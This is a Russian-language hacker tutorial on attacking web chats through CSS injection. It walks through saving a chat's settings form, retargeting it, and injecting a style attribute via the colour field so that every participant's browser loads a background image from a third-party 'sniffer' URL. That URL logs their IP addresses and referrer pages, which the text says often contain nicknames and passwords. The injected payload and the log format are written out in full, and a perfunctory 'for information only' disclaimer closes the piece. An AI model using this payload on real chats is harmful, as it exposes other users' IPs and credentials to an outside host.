Ломка чатов, используя CSS
Что, дружок, начитался рассказов, как вставлять в чаты картинки? Только вот после ввода в чате < img src=megaporno.jpg > ничего не происходит, а все присутствующие хором кричат в твою сторону "14m0"? Правильно, теги в чатах оставляли в 80-х годах, теперь все по-другому. Но нередко админы забывают про дырку с цветом. Сначала давай разберемся, что же это за дырка такая. Когда ты выбираешь настройки чата, обычно существует возможность выбора цвета. Сохраняем эту страничку на диск и открываем ее Блокнотиком. Находим что-то вроде этого: < FORM ACTION="/cgi-bin/chat.cgi" METHOD="POST" >< input name="name" type="text" > < select name="color" > < option value="#FF0000" >Красный< /option > < option value="#00FF00" >Зеленый< /option > < /select > < input name="submit" > < /FORM > Изменяем строчку ACTION="/cgi-bin/chat.cgi" на ACTION="http://www.hackedsite.ru/cgi-bin/chat.cgi" и < option value="#FF0000" >Красный< /option > на < option="#0000FF" >Синий< /option >. Заходим в чат. Пишем синим? Ага. Даже если не пишем, все равно. Теперь изменяем строчку < option value="0000FF" >Синий< /option > на < option value=#0000FF" "style="height:1;font-size:1pt;background-image: url('http://www.HackZona.Ru/cgi-bin/sniff.cgi?xakep')" >ХАК< /option >. Я смотрю, твои слабенькие ручки замучались писать. Училка в школе заставляет, так еще тут? Остынь, я пока расскажу, что же мы понаписали. & quot ; означает ставку кавычек. Кавычки нужны, чтобы закрыть параметр < font color="#0000FF". Как видишь, тег не закрыт, и мы можем в нем поковыряться. Ковыряйся, не ковыряйся, а без CSS (Cascading Style Sheets) в теге font можно изменить только параметры color-цвет, size-размер и face-тип шрифта. А вот CSS позволяет многое. Итак, ты понял, что значит style = & quot; - начало CSS. Дальше идут параметры стилей: height : 1; означает, что максимальная высота слоя шрифта не более 1 пиксела. font-size : 1 p t ; означает, что размер шрифта в слое 1-го размера. background - image : url('http://www.HackZona.Ru/cgi-bin/sniff.cgi?xakep') означает то, что фоновое изображение для слоя шрифта будет sniffer от HackZona.После входа в чат, напиши что-нибудь. Никто ничего не увидит, кроме маленьких точек. Все IP участников чата, а также URL их страничек (нередко содержащих ник и пароль к нему), где был показан твой sniffer будут лежать в логе http://www.HackZona.Ru/files/snifflog.txt.Теперь о формате лога. Каждая его строчка выглядит примерно так: [ Sat 0:00am ] (xakep) 192.168.87.1 [ http://www.hackedsite.ru/cgi-bin/messages.cgi?id=nuncuk ] Расшифровка. [ Sat 0:00am ] - дата и время, когда была просмотрена картинка-sniffer. (xakep) - id sniffer'а (берется из http://www.HackZona.Ru/cgi-bin/sniff.cgi?xakep). 192.168.87.1 - IP-адрес посмотревшего картинку-sniffer. [ http://www.hackedsite.ru/cgi-bin/messages.cgi?id=nuncuk ] - страничка, на которой был просмотрен sniffer. Все, теперь ты настоящая боевая машина, способная узнать IP без тегов. Все стандарты CSS можно почитать на http://www.w3.org/
Эта статья предназначена только для ознакомительных целей. Ни в коем случае не реализовывайте на практике то, что Вы прочитаете, так как Вы несете полную ответственность за свои поступки в соответствии с действующим законодательством. Я не отвечаю за достоверность информации и не несу ответственности за Ваши поступки! Все что вы делаете, вы делаете на свой страх и риск!!!